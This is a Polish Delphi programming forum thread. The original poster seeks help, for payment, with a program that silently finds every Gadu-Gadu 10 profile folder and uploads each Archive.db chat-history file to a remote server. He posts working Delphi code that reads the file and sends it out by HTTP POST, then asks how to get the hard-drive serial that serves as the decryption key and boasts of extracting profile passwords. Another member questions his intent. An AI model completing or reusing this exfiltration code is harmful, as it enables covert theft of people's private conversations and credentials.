[DELPHI] Wyszukiwanie folderów, z wyjątkiem oraz pętla związana z tym samym

garfield1

Użytkownik
Dołączył
Marzec 26, 2012
Posty
18
Witam serdecznie!
Sam próbuję coś wykombinować od 4godzin (oczywiście za pomocą googli), lecz marne skutki mej pracy.

1. Potrzebuję czegoś, co znajdzie wszystkie katalogi w %AppData%\Gadu-Gadu 10\, lecz wykluczałoby folder "_userdata".
Znalazłem coś interesującego, lecz nie potrafię przerobić na swoje potrzeby (może jest to potrzebne jako funkcja co coś zwraca, nie mam pojęcia:
Kod:
var
    Finder:TSearchRec;
    Found:Integer;

begin

    Found:=FindFirst(GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\*.*',faDirectory,Finder);
    
    while (Found=0) do // dopóki liczba znalezionych obiektów nie będzie równa zero.
    begin
         Memo1.Lines.Add(GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\*.*'+Finder.Name);
        // TEMAT: Nie chce z  użyciem memo, ponieważ program nie posiada (konsoli, WinApi, Formy)
        Found:=FindNext(Finder); // kontynuacja wyszukiwania
    end;
    FindClose(Finder); // zakończenie wyszukiwania.

end;



2. Na koniec w pętli wypisuje te foldery znalezione
Kod:
_AppData := GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\' + folderyGG + '\Archive.db';
Zamiast folderyGG pętla wpisuje katalogi (osobno), które znaleziono w "Gadu-Gadu 10" i wykonuje czynność:

Wysyła plik w tej samej pętli ze znalezionego katalogu
Kod:
MemStream.LoadFromFile(_AppData);



Mój aktualny kod:
Kod:
  if FileExists(GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\12345\Archive.db') then
  begin
    _AppData := GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\12345\Archive.db';
    SL := TStringList.Create;
    MemStream := TMemoryStream.Create;
    MessageBox(Application.Handle,'Tak ten plik jest!', 'CZY JEST?', MB_OK + MB_ICONEXCLAMATION);
    MemStream.LoadFromFile(_AppData);
    HttpPostFile(UploadDest, 'plik', 'Archive.db', MemStream, SL);
    if Pos('o rozmiarze', SL.Text) > 0 then
      MessageBox(Application.Handle,'Plik został wysłany!', 'WYSŁANO', MB_OK + MB_ICONEXCLAMATION);
    SL.Free;
    MemStream.Free;
  end;

Jeśli się ktoś skusi i pomoże, zarobi zależnie od czasu i pomocy włożonej w program (SMS czy jak tam sobie życzy), oczywiście jeśli wszystko będzie grało i śmigało.
Chyba, że pomoc to czysta przyjemność.
 

ProQix

Użytkownik
Dołączył
Czerwiec 11, 2008
Posty
86
co ty kombinujesz...
wiesz że archivum jest kodowane a za klucz ma wartośc seriala hdd? i co to ma znaczyć ?

if Pos('o rozmiarze', SL.Text) > 0 then
 

garfield1

Użytkownik
Dołączył
Marzec 26, 2012
Posty
18
Jak pobrać serial HD
Hmmm... a czy za pomocą np. Archive.db Tools można odczytać?
Mógłbyś ze swojego kompa, jeśli posiadasz GG10 założyć konto, napisać do BOTa jakiegoś i wysłać tutaj w załączniku Archive.db - jeśli dasz hasło na profil to również podać :)
Ponoć szyfruje archiwum i nadaje hasło do odczytu, jak jest profil zabezpieczony hasłem.

Co do
if Pos('o rozmiarze', SL.Text) > 0 then
Pobiera ze strony treść jaka następuje po wysłaniu pliku ( wyskakuje na stronie wiadomość "Plik: %nazwa o rozmiarze %byte został wysłany" tyle, że "został wysłany" ma inne kodowanie, więc dałem na "o rozmiarze", a może wiesz jak skrócić to, aby sprawdzało "od > 0 do < 50" znaki?


W dalszym ciągu oczekuję na odpowiedź na pierwszy post.
 
Ostatnia edycja:

garfield1

Użytkownik
Dołączył
Marzec 26, 2012
Posty
18
Oj, mylisz się, jakoś na innym PCcie oglądałem archivum z profilu z hasłem (oczywiście hasła nie znałem, ale również je wyciąnąłem).
Temat można zamnkąć, bo sam sobie szybciej poradziłem, bez pomocy jakiś "Kompedium wiedzy".
 
Do góry Bottom